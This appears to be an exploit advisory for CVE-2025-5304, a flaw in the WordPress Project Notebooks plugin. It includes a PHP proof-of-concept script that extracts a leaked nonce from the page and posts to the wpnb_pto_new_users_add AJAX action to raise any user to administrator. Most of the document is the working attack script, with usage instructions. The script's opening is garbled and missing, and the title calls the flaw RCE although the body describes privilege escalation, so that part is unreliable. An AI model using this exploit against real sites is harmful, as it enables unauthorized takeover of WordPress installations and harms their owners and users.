============================================================================================================================================= | # Title : WordPress Project Notebooks Plugin 1.1.4 – RCE vulnerability | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) | | # Vendor : https://wordpress.org/plugins/ | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/209970/ & CVE-2025-5304 [+] Summary A rce vulnerability exists in the Project Notebooks WordPress plugin prior to version 1.1.4, allowing unauthenticated or low‑privileged attackers to escalate any WordPress user to higher roles, including administrator, through improper validation of AJAX actions and nonce exposure. This vulnerability is actively exploitable when the plugin leaks a valid nonce value and the AJAX handler wpnb_pto_new_users_add fails to fully verify user capability requirements [+] Vulnerability Details The plugin exposes internal configuration objects (including nonce and ajax_url) directly in the HTML source. An attacker can extract this nonce and send a crafted request to : wp-admin/admin-ajax.php?action=wpnb_pto_new_users_add The handler then accepts user IDs (ids) and privilege levels (user_type) without validating whether the requester has enough permissions. This enables: Unauthorized user privilege escalation Unauthorized role assignment Full WordPress takeover if executed against an administrator ID [+] poc Run using: php poc.php -u http://target.com -id 28 -c "wordpress_logged_in=COOKIE_VALUE" "wpnb_pto_new_users_add", "nonce" => $nonce, "ids" => (string)$uid, "user_type" => "2", "Nxploited" => "Nxploited" ]; echo "[*] Nxploited: Exploiting… wait 3 seconds.\n"; sleep(3); $ch = curl_init($ajax_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, nxploited_headers($cookie)); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); $body = curl_exec($ch); $status = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); echo "[+] Nxploited: HTTP $status\n"; echo substr($body, 0, 1500) . "\n"; return [$status, $body]; } // ------------------------ // Main Execution // ------------------------ $options = getopt("u:id:c:", ["url:", "id:", "cookie:", "skip-version"]); $base_url = nxploited_normalize_url($options['u'] ?? $options['url']); $uid = $options['id'] ?? $options['id']; $cookie = $options['c'] ?? $options['cookie'] ?? null; if (!isset($options['skip-version'])) { list($detected_version, $ok) = nxploited_fetch_version($base_url, $cookie); if ($detected_version) { $vuln = nxploited_is_vulnerable($detected_version); $state = $vuln ? "vulnerable" : "not confirmed vulnerable"; echo "[+] Nxploited: Version $detected_version → $state\n"; } else { echo "[!] Nxploited: Proceeding without confirmed version (use --skip-version to suppress).\n"; } } list($nonce, $ajax_url) = nxploited_extract_nonce_ajax($base_url, $cookie); if (!$nonce) die("[!] Nxploited: Abort: nonce not found.\n"); if (isset($detected_version)) echo "[i] Nxploited: Target version during exploitation → $detected_version\n"; list($status, $body) = nxploited_exploit($ajax_url, $uid, $nonce, $cookie); if (!$status) exit(2); if (strpos($body, "Busted!") !== false) { die("[!] Nxploited: Server replied 'Busted!' (nonce/session mismatch). Use correct cookie.\n"); } ?> Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================